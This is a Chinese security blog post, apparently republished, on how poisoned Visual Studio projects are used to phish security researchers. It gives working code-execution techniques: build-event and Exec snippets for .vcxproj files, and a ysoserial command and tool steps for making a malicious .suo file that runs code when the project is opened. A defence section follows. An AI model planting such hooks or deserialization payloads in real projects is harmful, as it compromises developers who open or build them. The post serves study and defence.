0x01 背景
最近在网上冲浪时发现曾哥团队推送了这样一则消息:


使用VS项目进行钓鱼,一番搜索发现去年10月存在同样的APT投毒项目,海莲花组织注册Github账号Jiefeng伪装为国内安全研究员,发布项目Cobalt Strike最新提权插件源码吸引受害者编译。并利用.suo文件反序列化漏洞触发恶意代码执行。
关于VS钓鱼为什么越来越猖獗,有以下几个原因
-
微软并不认为.suo反序列化等问题是漏洞,所以不会修复 -
VS项目多处可以命令执行 -
使用VS项目进行命令执行本身具备免杀效果
本文从命令执行与防御两个角度展开,学习红队大佬受害记针对安全从业者的攻与防。
0x02 命令执行
根据利用难度,我分为需要编译和1click两个模块
需要编译
以c++项目为例,对应项目文件为.vcxproj,其他语言的项目配置如.vbproj、.csproj没有做相关实验,感兴趣的读者可以自行尝试~
.vcxproj
-
方式1
新建一个c++项目,打开项目名.vcxproj文件,添加以下代码
<ItemDefinitionGroup>
<PostBuildEvent>
<Command>calc</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
编译vs项目执行
-
方式2
同上.vcxproj文件中加入
<TargetName="GetFrameworkPaths">
<ExecCommand="notepad" />
</Target>
编译执行
项目配置命令执行
解决方案管理器右键项目名称-属性-如图所示位置

以下三个事件都可用于命令执行

需要在输出处输入内容

以上方式在编译后均可执行代码,添加这些编译属性后,vs会在项目名.vcxproj自动生成代码,由此可以看出,在背景中提到的Anydesk投毒正是在这里进行利用,需要编译恶意载荷才会运行。

1click
.suo文件利用
项目推荐(用于生成恶意.suo文件):
-
.suo文件反序列化漏洞利用工具: https://github.com/Brassinolide/VS_Deserialize_Exploit -
.net安全矩阵知识星球 Sharp4suopoc.exe
利用流程
1.新建项目,以c++项目为例,打开视图->工具箱,搜索栏搜索类视图(其他窗口可能可以,没有做尝试)、属性,将三者钉在主页

鼠标点击类视图,然后关闭项目。(聚焦此处)
简单说一下以上做法的原因:
-
打开视图工具箱:确保项目加载vstoolboxservice类,反序列化调用链触发点在此 -
点击类视图触发窗口聚焦:在 @crackme.net 大佬的帮助下,了解到一条在窗口聚焦功能的漏洞触发链。
2.ysoserial.exe生成反序列化载荷
ysoserial -g ClaimsIdentity -f BinaryFormatter -c calc -o base64 -bgc TypeConfuseDelegate
3.使用工具生成恶意.suo(以VS_Deserialize_Exploit工具为例)
>VS_Deserialize_Exploit.exe
输入suo文件路径
路径.suo
输入payload
ysoserial生成的数据
成功,文件已保存到 evil.suo
替换项目下的.suo文件即可(.suo文件一般在项目根目录/.vs/项目名/v16或v17/路径下),替换后打开项目,无需编译恶意代码即执行。

.suo文件优势在于隐蔽性高(.文件开头),无明显攻击语句(反序列化数据),使用一次后即销毁。
利用类型库进行1click攻击
需要的大牛可以看看链接:https://xz.aliyun.com/news/13871#:~:text=%E5%AE%83%E6%89%8D%E8%A7%A6%E5%8F%91%EF%BC%9F-,0X09%20%E6%9F%A5%E7%9C%8B%E4%BB%A3%E7%A0%81%E6%97%B6%E5%8A%A0%E8%BD%BD%E6%81%B6%E6%84%8F%E7%B1%BB%E5%9E%8B%E5%BA%93,-%E9%A6%96%E5%85%88%EF%BC%8C%E9%9C%80%E8%A6%81%E6%98%8E%E7%99%BD
0x03 防御
-
不打开来源不可信的项目文件 -
运行项目前检查 .vcxproj/.vbproj/.csproj等文件是否存在命令执行、加载未知资源的恶意代码 -
打开项目前删除 .vs文件目录 -
使用工具 https://github.com/backengineering/CheckEvilSln 检查项目
0x04 参考链接
https://crackme.net/articles/evil_sln/
https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A
https://xz.aliyun.com/news/13871
https://www.secrss.com/articles/74468
https://www.ch35tnut.com/zh-cn/research/apt/ocean_lotus/suo/
https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A
文章来源:Tide的安全团队
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END














暂无评论内容